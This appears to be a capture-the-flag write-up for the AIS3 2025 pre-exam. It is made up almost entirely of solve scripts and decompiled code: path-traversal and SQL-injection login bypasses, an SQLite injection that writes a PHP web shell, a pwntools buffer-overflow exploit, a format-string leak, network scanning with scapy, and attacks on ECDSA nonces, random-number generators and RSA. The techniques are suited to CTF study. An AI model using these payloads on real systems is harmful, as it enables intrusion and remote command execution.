2025 AIS3 MyFirstCTF / Pre-Exam Write-up

http.Handle("/",  http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", redirectHandler)  // 302 → YouTube

curl http://chals1.ais3.org:30000/%2e/flag

<?php
    // if the user is admin, show this post
    if ($_SESSION['username'] == "admin") { ?>
        <div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Just watched this excellent technical breakdown: https://youtu.be/jWvuUeUyyKU - it's a must-see if you're into cybersecurity, reverse engineering, or low-level internals. The explanations are clear, insightful, and packed with practical takeaways. Highly recommended for anyone looking to deepen their understanding or just enjoy quality analysis.</div></div>;
        <div class='box'><strong>2025-05-06</strong><div id='post2' class='post'><?= getenv('FLAG1') ?></div></div>;
    <?php }
    // if the user is guest, show this post
    else {
        echo "<div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Only admin and view the flag.</div></div>";
    }
    ?>

#!/bin/bash

bcrypt='$2y$12$xCBlXjGSA.0Xi6fChoaAoOl7V5LbqgaajjKudvll0Ib/YNgZCrlNO'

curl -X POST http://login-screen.ctftime.uk:36368/index.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "username=' UNION SELECT 2,'admin','$bcrypt','133713' -- " \
  --data "password=1" \
  -c cookies.txt


curl -v -i -X POST http://login-screen.ctftime.uk:36368/2fa.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=133713" \
  -b cookies.txt \
  -c cookies.txt

curl http://login-screen.ctftime.uk:36368/dashboard.php   \
     -b cookies.txt

 <h2>Welcome, &#039; UNION SELECT 2,&#039;admin&#039;,&#039;$2y$12$xCBlXjGSA.0Xi6fChoaAoOl7V5LbqgaajjKudvll0Ib/YNgZCrlNO&#039;,&#039;133713&#039; -- !</h2>

- ./cms/html/users.db:/var/www/html/users.db:ro

sqlite> SELECT * FROM Users;
1|admin|$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC|51756447753485459839
2|guest|$2y$10$/th4ch2sGdetYaEoNrkC7O5m2cvvKo.21EBLOweMlaqXuec6k8E1y|000000

// index.php
$username = $_POST['username'];
// ...
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
$result = $stmt->execute();
$user = $result->fetchArray();

admin'; ATTACH DATABASE 'shell.php' AS pwn; CREATE TABLE pwn.shell (payload TEXT); INSERT INTO pwn.shell (payload) VALUES ('<?php system($_GET["cmd"]); ?>'); --

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[143]; // [rsp+0h] [rbp-A0h] BYREF
  char s[8]; // [rsp+8Fh] [rbp-11h] BYREF
  unsigned __int8 int8; // [rsp+97h] [rbp-9h]
  char *v7; // [rsp+98h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  printf("\x1B[2J\x1B[1;1H");
  printf("\x1B[31m");
  printf("%s", (const char *)banner);
  puts(&byte_402A78);
  puts(&byte_402AB8);
  fgets(s, 8, stdin);
  v7 = strchr(s, 10);
  if ( v7 )
    *v7 = 0;
  if ( strcmp(s, "yes") )
  {
    puts(&byte_402AE8);
    exit(1);
  }
  printf(&byte_402B20);
  int8 = read_int8();
  printf(&byte_402B41);
  read(0, buf, int8);
  return 0;
}

int Welcome_to_the_world_of_Ave_Mujica()
{
  puts(&s);
  puts(&byte_402990);
  puts(&byte_4029B4);
  puts(&byte_4029C3);
  puts(&byte_4029D2);
  puts(&byte_4029E1);
  puts(&byte_4029FC);
  puts(&byte_402A15);
  return execve("/bin/sh", 0, 0);
}

__int64 read_int8()
{
  char buf[4]; // [rsp+8h] [rbp-8h] BYREF
  int v2; // [rsp+Ch] [rbp-4h]

  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 > 127 )
  {
    puts(&byte_402A38);
    exit(1);
  }
  return (unsigned int)v2;
}

#!/usr/bin/env python3
from pwn import *
import sys

HOST = 'chals1.ais3.org'
PORT = 60491

context.binary = elf = ELF('./chall')
context.log_level = 'debug'

# 從 buf 開始到 saved RIP 的偏移
OFFSET = 168
WIN    = elf.sym['Welcome_to_the_world_of_Ave_Mujica']
# =====================

def exploit(io):
    io.recvuntil(b'?')
    io.sendline(b'yes')

    io.recvuntil(b':')
    # 填 -1 讓 read() 讀 255，但後面我們只會送我們想要的 bytes
    io.sendline(b'-1')

    io.recvuntil(b':')
    payload = flat(
        b'A' * OFFSET,
        WIN
    )
    io.send(payload)

    io.interactive()

if __name__ == '__main__':
    if len(sys.argv) > 1 and sys.argv[1] == 'local':
        io = process('./chall')
    else:
        io = remote(HOST, PORT)
    exploit(io)

Format number : %3$%%42$d\n
                └─┘└──────┘ 
                 ①     ②

#!/usr/bin/env python3
from pwn import remote
import re, struct

HOST, PORT = "chals1.ais3.org", 50960

FLAG_SLOTS = list(range(20, 59))

def leak_slot(idx):
    io = remote(HOST, PORT)
    io.recvuntil(b"What format do you want ? ")
    payload = f"%%{idx}$".encode()   # e.g. b"%%42$"
    io.sendline(payload)

    line = io.recvline(timeout=2).decode(errors="ignore").strip()
    io.close()

    print(f"[slot {idx:2d}] raw: {line!r}")
    m = re.search(r"(-?\d+)$", line)
    if not m:
        print("   → no number")
        return None
    val = int(m.group(1))
    print(f"   → {val}")
    return val

def to_bytes_le(x):
    return struct.pack("<I", x & 0xFFFFFFFF)

if __name__ == "__main__":
    data = []
    for idx in FLAG_SLOTS:
        v = leak_slot(idx)
        if v is not None:
            data.append((idx, v))

    flag = "".join(chr(v & 0xff) for _, v in data)

    print(f"\nflag: {flag!r}")

#!/usr/bin/env python3
import re, requests, sys

HOST = 'chals1.ais3.org'
PORT = 20963
BASE = f'http://{HOST}:{PORT}/'

session = requests.Session()

# 1. 找到能列出根目錄的位置
depth = 0
while depth < 10:
    path = '..%2f' * depth
    r = session.get(BASE + path)
    if any(x in r.text for x in ('bin/', 'etc/', 'proc/')):
        print(f'[+] Reached / with depth={depth}')
        break
    depth += 1
else:
    print('[-] Failed to reach /, increase depth limit')
    sys.exit(1)

# 2. 找 flag 檔名
flag_re = re.search(r'readable_flag_[^"/]+', r.text)
if not flag_re:
    print('[-] readable_flag file not found in /')
    sys.exit(1)
flag_name = flag_re.group(0)
print(f'[+] Found flag file: {flag_name}')

# 3. 讀取 flag
flag_url = BASE + ('..%2f' * depth) + flag_name
flag = session.get(flag_url).text.strip()
print(f'[FLAG] {flag}')

#!/usr/bin/env python3
from pwn import remote
from scapy.all import IP, ICMP, TCP, RandShort
import select, time, random


HOST, PORT = "chals1.ais3.org", 29997
r = remote(HOST, PORT)

def recvn(n):
    data = b''
    while len(data) < n:
        chunk = r.recv(n - len(data))
        if not chunk:
            raise EOFError
        data += chunk
    return data

def recv_ip(timeout=1.0):
    ready, _, _ = select.select([r.sock], [], [], timeout)
    if not ready:
        return None
    ip_hdr = recvn(20)
    total_len = int.from_bytes(ip_hdr[2:4], 'big')
    return IP(ip_hdr + recvn(total_len - 20))

def send_ip(pkt):
    r.send(bytes(pkt))  # scapy 會自動重算 checksum

# ─────────────────── 第一步：拿第一顆封包，取得我的 IP
first_pkt = recv_ip()
assert ICMP in first_pkt and first_pkt[ICMP].type == 8

MY_IP = first_pkt.dst
SUBNET = ".".join(MY_IP.split('.')[:3]) + "."
print(f"[+] My tunnel IP: {MY_IP}")

# 回 Echo-Reply
echo = first_pkt[ICMP]
rep = IP(src=first_pkt.dst, dst=first_pkt.src, ttl=64) / \
      ICMP(type=0, id=echo.id, seq=echo.seq) / first_pkt[ICMP].payload
send_ip(rep)

# ─────────────────── 第二步：ping-sweep 1–254
alive = set()
print("[*] Start ICMP ping sweep...")
for i in range(1, 255):
    target = f"{SUBNET}{i}"
    if target == MY_IP:
        continue
    pkt = IP(src=MY_IP, dst=target) / ICMP(id=0x1234, seq=i) / b'PING'
    send_ip(pkt)

t_end = time.time() + 2
while time.time() < t_end:
    pkt = recv_ip(timeout=t_end - time.time())
    if not pkt:
        continue
    if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
        # 回 keep-alive
        e = pkt[ICMP]
        rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
        send_ip(rep)
    elif ICMP in pkt and pkt[ICMP].type == 0 and pkt.dst == MY_IP:
        alive.add(pkt.src)

print("[+] Hosts up:")
for ip in sorted(alive):
    print("   ", ip)

# ─────────────────── 第三步：對每台 host 掃 TCP port
PORTS = [22, 23, 25, 53, 80, 110, 143, 443, 3306, 8080]
print("[*] Start TCP SYN scan on common ports...")

probes = {}
for ip in alive:
    for port in PORTS:
        sport = random.randint(1024, 65535)
        pkt = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=port, flags="S", seq=random.randint(0, 2**32-1))
        send_ip(pkt)
        probes[(ip, sport)] = port

open_ports = {}
t_end = time.time() + 3
while time.time() < t_end:
    pkt = recv_ip(timeout=t_end - time.time())
    if not pkt:
        continue
    if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
        rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)/pkt[ICMP].payload
        send_ip(rep)
    elif TCP in pkt and pkt.dst == MY_IP:
        key = (pkt.src, pkt[TCP].dport)
        if key in probes and pkt[TCP].flags & 0x12 == 0x12:  # SYN-ACK
            open_ports.setdefault(pkt.src, []).append(probes[key])

print("[+] Open ports:")
if not open_ports:
    print("    (none)")
else:
    for ip, ports in open_ports.items():
        print(f"   {ip}: {', '.join(map(str, ports))} OPEN")

print("[*] You can now manually probe these IP:ports for flags.")

# ─────────────────── 第四步：對開 port 80 的主機發送 HTTP GET
print("[*] Start HTTP GET / to open port 80 hosts...")

for ip, ports in open_ports.items():
    if 80 not in ports:
        continue

    sport = random.randint(1024, 65535)
    seq = random.randint(0, 2**32 - 1)

    print(f"[*] Connecting to {ip}:80")

    # 1. 送 SYN
    syn = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="S", seq=seq)
    send_ip(syn)

    # 2. 收 SYN-ACK
    ack_num = None
    while True:
        pkt = recv_ip(timeout=1.0)
        if not pkt:
            continue
        if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
            e = pkt[ICMP]
            rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
            send_ip(rep)
        elif TCP in pkt and pkt[IP].src == ip and pkt[TCP].dport == sport:
            if pkt[TCP].flags & 0x12 == 0x12:  # SYN-ACK
                ack_num = pkt[TCP].seq + 1
                break

    # 3. 回 ACK
    ack = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="A", seq=seq+1, ack=ack_num)
    send_ip(ack)

    # 4. 傳送 HTTP GET
    http = b"GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n" % ip.encode()
    psh = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="PA", seq=seq+1, ack=ack_num)/http
    send_ip(psh)

    # 5. 收 HTTP 回應
    print(f"[+] Sent HTTP GET to {ip}, waiting for reply...")
    response_data = b""
    end_time = time.time() + 3
    while time.time() < end_time:
        pkt = recv_ip(timeout=0.5)
        if not pkt:
            continue
        if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
            e = pkt[ICMP]
            rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
            send_ip(rep)
        elif TCP in pkt and pkt[IP].src == ip and pkt[TCP].dport == sport:
            if pkt[TCP].payload:
                response_data += bytes(pkt[TCP].payload)

    print(f"[+] Response from {ip}:\n")
    try:
        print(response_data.decode(errors="ignore"))
    except Exception as e:
        print(f"[!] Failed to decode response: {e}")

k = (a * k_prev + c) % m

from pwn import remote
from ecdsa import NIST192p, ellipticcurve
from Crypto.Hash import SHA1
from ecdsa.util import string_to_number, number_to_string, randrange_from_seed__trytryagain

a = 1103515245
c = 12345
curve = NIST192p
n = curve.order
G = curve.generator

def h(msg):
    return int.from_bytes(SHA1.new(msg).digest(), 'big') % n

def modinv(x):                 # python ≥3.8
    return pow(x, -1, n)

r = remote("chals1.ais3.org", 19000)

def grab():
    r.sendlineafter(b"option:", b"get_example")
    r.recvuntil(b"r: ")
    r1 = int(r.recvline().strip(), 16)
    r.recvuntil(b"s: ")
    s1 = int(r.recvline().strip(), 16)
    return r1, s1

# two signatures on the same message
r1, s1 = grab()
r2, s2 = grab()
h_val   = h(b"example_msg")

den = (r2 * modinv(s2) - a * r1 * modinv(s1)) % n
num = (c + a * h_val * modinv(s1) - h_val * modinv(s2)) % n
d   = (num * modinv(den)) % n          # secret key recovered!

# forge signature for give_me_flag
msg  = b"give_me_flag"
k    = 1                                # any non-zero nonce works
R    = k * G
r_sig = R.x() % n
s_sig = (modinv(k) * (h(msg) + r_sig * d)) % n

# send it back
r.sendlineafter(b"option:", b"verify")
r.sendlineafter(b"message:", msg.decode().encode())
r.sendlineafter(b"r (hex):", hex(r_sig).encode())
r.sendlineafter(b"s (hex):", hex(s_sig).encode())
r.interactive()

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
solve_flag.py – 從 81 行十六進位輸出中還原 AIS3 旗標
使用方式:
    python3 solve_flag.py < output.txt
"""
import hashlib, math, sys
from randcrack import RandCrack

# -------- 小工具 -------- #
def is_square(n: int):
    r = math.isqrt(n)
    return r * r == n, r

# randcrack 版本差異：predict_getrandbits() vs getrandbits()
def rc_bits(rc, k):
    return rc.predict_getrandbits(k) if hasattr(rc, "predict_getrandbits") else rc.getrandbits(k)

def submit_r(rc, r, msb_first=True):
    """把 256-bit r 拆成 8 個 32-bit 丟進 randcrack
       msb_first=True 時，先交付最高位 word (CPython 的順序)"""
    w = r.to_bytes(32, "big")
    idxs = range(8) if msb_first else reversed(range(8))
    for i in idxs:
        rc.submit(int.from_bytes(w[i*4:i*4+4], "big"))

# -------- 讀檔 -------- #
C = [int(line.strip(), 16) for line in sys.stdin if line.strip()]
if len(C) != 81:
    sys.exit(f"❌ 需要 81 行，實際 {len(C)} 行")

# -------- 第 0–77 行 → 收集 624 個 32-bit 亂數 -------- #
rc = RandCrack()
for c in C[:78]:                     # 78 組 × 8 word = 624
    for b in range(256):             # SHA-512(1 byte) 暴力
        h = hashlib.sha512(bytes([b])).digest()
        s = c ^ int.from_bytes(h, "big")
        ok, r = is_square(s)
        if ok and r.bit_length() <= 256:
            submit_r(rc, r, msb_first=False)   # CPython 順序
            break
    else:
        sys.exit("❌ 某行找不到平方根，檔案可能被改動？")

# -------- 跳過第 78、79 行用掉的 16 個 word -------- #
for _ in range(16):
    rc_bits(rc, 32)                  # 每次取 32-bit 剛好把 word 吃掉

# -------- 產生第 80 組 (= 加密 flag 的那組) -------- #
r_flag = rc_bits(rc, 256)

# -------- 解密 & 印旗標 -------- #
flag_int   = C[-1] ^ (r_flag ** 2)
flag_bytes = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")

try:
    print(flag_bytes.decode())
except UnicodeDecodeError:
    print("FLAG bytes:", flag_bytes)

#!/usr/bin/env python3
# pip install pwntools sympy numpy
from pwn import remote
import numpy as np, sympy as sp, re

p = 251
n = 8
HOST, PORT = "chals1.ais3.org", 18000
NUM_RE = re.compile(r"-?\d+")

# ---------- 讀取工具 ---------- #
def read_until_prompt(io):
    """收向量直到看到 'input:'"""
    vecs = []
    count = 0
    while True:
        line = io.recvline().decode()
        nums = list(map(int, NUM_RE.findall(line)))
        print(line.strip())
        if len(nums) == 8:
            vecs.append(nums)
        if count == 5:
            io.send(build_payload())
            return np.array(vecs, dtype=int) % p
        count += 1

def read_to_eof(io):
    """收向量直到連線關閉"""
    data = io.recvall().decode()
    # print(data)
    vecs = [list(map(int, NUM_RE.findall(l)))
            for l in data.splitlines() if len(NUM_RE.findall(l)) == 8]
    array = np.array(vecs, dtype=int) % p
    # print(f"[+] 收到 {len(array)} 行向量")
    print(array)
    return  array

# ---------- payload ---------- #
ZERO = ord('0')          # 48
ONE  = ord('1')          # 49 = ZERO+1

def block_baseline():
    return bytes([ZERO]*n)

def block_e(k):
    v = [ZERO]*n
    v[k] = ONE
    return bytes(v)

def build_payload():
    blocks = [block_baseline(), block_baseline()]  # 2 baseline
    for k in range(n):
        blocks.append(block_e(k))     # r_k
        blocks.append(block_baseline())  # baseline again
    return b"".join(blocks) + b"\n"    # 18*8 = 144 bytes + '\n'

# ---------- 主程式 ---------- #
def main():
    io = remote(HOST, PORT)
    C_flag  = read_until_prompt(io)   # 1️⃣ 拿 flag 密文

    # io.send(build_payload())          # 2️⃣ 送 payload
    C_probe = read_to_eof(io)         # 3️⃣ 拿 18 行密文
    io.close()

    if len(C_probe) != 18:
        print(f"[!] 期望 18 行探測密文，但收到 {len(C_probe)} 行")
        print(C_probe)
        return
    print("========")
    print(f"C_flag: {C_flag}")
    print("========")
    print(f"C_probe: {C_probe}")
    print("========")

    A_v = C_probe[0]                 # A·v
    AB_v = C_probe[1]                # (A+B)·v
    # 之後公式只需 AB_v

    # ---------- 還原 A, B ---------- #
    A_cols, B_cols = [], []
    for k in range(n):
        c_r = C_probe[2 + 2*k]       # A·(v+δ_k) + B·v = AB_v + A·δ_k
        c_b = C_probe[3 + 2*k]       # A·v + B·(v+δ_k) = AB_v + B·δ_k
        A_cols.append((c_r - AB_v) % p)   # A·δ_k
        B_cols.append((c_b - AB_v) % p)   # B·δ_k

    A = np.column_stack(A_cols) % p
    B = np.column_stack(B_cols) % p
    A_inv = np.array(sp.Matrix(A).inv_mod(p)).astype(int)

    # ---------- 解密旗標 ---------- #
    M = []
    for i, c in enumerate(C_flag):
        if i == 0:
            m = (A_inv @ c) % p
        else:
            m = (A_inv @ ((c - B @ M[i-1]) % p)) % p
        M.append(m)

    plaintext = bytearray(np.concatenate(M).tolist()).split(b"\x00")[0]
    print(len(plaintext), "bytes")
    print("FLAG:", plaintext.decode(errors="ignore"))
    
if __name__ == "__main__":
    main()

#!/usr/bin/env python3
from math import gcd
from sympy import invert, sqrt_mod, isprime
from binascii import unhexlify, hexlify

# ---------- 把 output.txt 的數值貼進來 ----------
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M  = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n  = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e  = 65537
c  = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
# -------------------------------------------------

# 1. 求 a, b
inv = invert(h1 - h0, M)
a   = (h2 - h1) * inv % M
b   = (h1 - a * h0) % M
assert (a * h0 + b) % M == h1

# 2. 掃描 t
nM = n % M
ainv = invert(a - 1, M)
p = q = None

for t in range(1, 1001):
    A = pow(a, t, M)
    B = (A - 1) * b * ainv % M

    # A p^2 + B p - nM ≡ 0 (mod M)
    D = (B * B + 4 * A * nM) % M        # 注意 C = -nM
    roots = sqrt_mod(D, M, all_roots=True)
    if not roots:
        continue

    inv2A = invert(2 * A, M)
    for r in roots:
        p_cand = (-B + r) * inv2A % M
        if p_cand in (0, M):
            continue
        g = gcd(p_cand, n)
        if 1 < g < n:
            p = g
            q = n // g
            break
    if p:
        break

assert p and q and p * q == n and isprime(p) and isprime(q)
print("[+] factor found, t =", t)
print("p =", p)
print("q =", q)

# 3. 還原 FLAG
phi = (p - 1) * (q - 1)

# 這行保持 SymPy 計算精度
d = invert(e, phi)

# --------- 修改處 ---------
m_int = pow(c, int(d), n)      # 只把 d 轉成 int
# 或者乾脆：
# d = int(invert(e, phi))
# m_int = pow(c, d, n)
# --------------------------------

flag = m_int.to_bytes((m_int.bit_length() + 7) // 8, "big")
print(flag.decode())

p₀ = 37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167  (bits: 893)

from sympy import mod_inverse
from math import gcd, log2

# https://oalieno.tw/posts/pollard

n = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
e = 65537
c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991

def pollard(n) -> int:
    a, b = 2, 2
    while True:
        a, b = pow(a, b, n), b + 1
        d = gcd(a - 1, n)
        if 1 < d < n:
            return d

p0 = pollard(n)
print(f"[+] p₀ = {p0}  (bits: {int(log2(p0))+1})")

# 解密
d = mod_inverse(e, p0 - 1)
m = pow(c, d, p0)
flag = m.to_bytes((m.bit_length() + 7) // 8, "big").decode()

print("[+] flag:", flag)

_BOOL4 __cdecl sub_1E20(int a1)
{
  unsigned int v1; // ecx
  char v2; // si
  char v3; // al
  int i; // eax
  char v5; // dl
  _BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
  _DWORD v8[11]; // [esp+12h] [ebp-3Eh]
  __int16 v9; // [esp+3Eh] [ebp-12h]

  v1 = 0;
  v2 = 51;
  v9 = 20;
  v3 = 114;
  v8[0] = 1480073267;
  v8[1] = 1197221906;
  v8[2] = 254628393;
  v8[3] = 920154;
  v8[4] = 1343445007;
  v8[5] = 874076697;
  v8[6] = 1127428440;
  v8[7] = 1510228243;
  v8[8] = 743978009;
  v8[9] = 54940467;
  v8[10] = 1246382110;
  qmemcpy(v7, "rikki_l0v3", sizeof(v7));
  while ( 1 )
  {
    *((_BYTE *)v8 + v1++) = v2 ^ v3;
    if ( v1 == 45 )
      break;
    v2 = *((_BYTE *)v8 + v1);
    v3 = v7[v1 % 0xA];
  }
  for ( i = 0; i != 45; ++i )
  {
    v5 = *(_BYTE *)(a1 + i);
    if ( !v5 || v5 != *((_BYTE *)v8 + i) )
      return 0;
  }
  return *(_BYTE *)(a1 + 45) == 0;
}

int __cdecl sub_2110(int fd, int a2)
{
  char *p_s; // esi
  char v3; // al
  char *v4; // eax
  char *v5; // eax
  int result; // eax
  int v7; // eax
  char *v8; // edi
  _BYTE *v9; // esi
  char *v10; // ebp
  __int16 v11; // ax
  signed int v12; // ecx
  char *v13; // eax
  __int16 v14; // [esp+Dh] [ebp-102Bh] BYREF
  char v15; // [esp+Fh] [ebp-1029h]
  _DWORD v16[2]; // [esp+10h] [ebp-1028h] BYREF
  char v17; // [esp+18h] [ebp-1020h]
  char s; // [esp+19h] [ebp-101Fh] BYREF
  unsigned __int8 v19; // [esp+810h] [ebp-828h] BYREF
  char v20[1023]; // [esp+811h] [ebp-827h] BYREF
  _DWORD v21[3]; // [esp+C10h] [ebp-428h] BYREF
  char v22; // [esp+C1Ch] [ebp-41Ch] BYREF

  *(_DWORD *)(a2 + 512) = 0;
  *(_DWORD *)(a2 + 516) = 0;
  v21[0] = fd;
  v21[1] = 0;
  v21[2] = &v22;
  sub_17E0(v21, v16, 1024);
  __isoc99_sscanf();
  do
  {
    if ( LOBYTE(v16[0]) == 10 || BYTE1(v16[0]) == 10 )
    {
      result = v19;
      v8 = (char *)&v19;
      v9 = (_BYTE *)a2;
      if ( v19 == 47 )
      {
        v8 = v20;
        v12 = strlen(v20);
        if ( !v12 )
        {
          v15 = 0;
          v8 = ".";
          v14 = 0;
          LOBYTE(result) = 46;
          goto LABEL_24;
        }
        v13 = v20;
        while ( *v13 != 63 )
        {
          if ( v12 <= ++v13 - (char *)&v19 - 1 )
          {
            v9 = (_BYTE *)a2;
            result = (unsigned __int8)v20[0];
            goto LABEL_23;
          }
        }
        *v13 = 0;
        v9 = (_BYTE *)a2;
        result = (unsigned __int8)v20[0];
      }
LABEL_23:
      v15 = 0;
      v14 = 0;
      if ( !(_BYTE)result )
      {
LABEL_29:
        *v9 = 0;
        return result;
      }
LABEL_24:
      v10 = v8;
      while ( 1 )
      {
        ++v9;
        if ( (_BYTE)result == 37 )
        {
          v11 = *(_WORD *)(v10 + 1);
          v10 += 3;
          v14 = v11;
          *(v9 - 1) = strtoul((const char *)&v14, 0, 16);
          result = (unsigned __int8)*v10;
          if ( !(_BYTE)result )
            goto LABEL_29;
        }
        else
        {
          ++v10;
          *(v9 - 1) = result;
          result = (unsigned __int8)*v10;
          if ( !(_BYTE)result )
            goto LABEL_29;
        }
        if ( (_BYTE *)(a2 + 1023) == v9 )
          goto LABEL_29;
      }
    }
    sub_17E0(v21, v16, 1024);
    if ( LOBYTE(v16[0]) == 82 && *(_WORD *)((char *)v16 + 1) == 28257 )
    {
      __isoc99_sscanf();
      v7 = *(_DWORD *)(a2 + 516);
      if ( v7 )
        *(_DWORD *)(a2 + 516) = v7 + 1;
    }
  }
  while ( v16[0] != 861096257 || v16[1] != 1634485805 || v17 != 103 );
  p_s = &s;
  if ( s == 58 || s == 32 )
  {
    do
    {
      do
        v3 = *++p_s;
      while ( v3 == 32 );
    }
    while ( v3 == 58 );
  }
  v4 = strchr(p_s, 13);
  if ( v4 )
    *v4 = 0;
  v5 = strchr(p_s, 10);
  if ( v5 )
    *v5 = 0;
  if ( sub_1E20((int)p_s) )
    sub_1F90(fd, 200, (int)"Flag Correct!", "Congratulations! You found the correct flag!", 0);
  else
    sub_1F90(fd, 403, (int)"Wrong Flag", "Sorry, that's not the correct flag. Try again!", 0);
  return close(fd);
}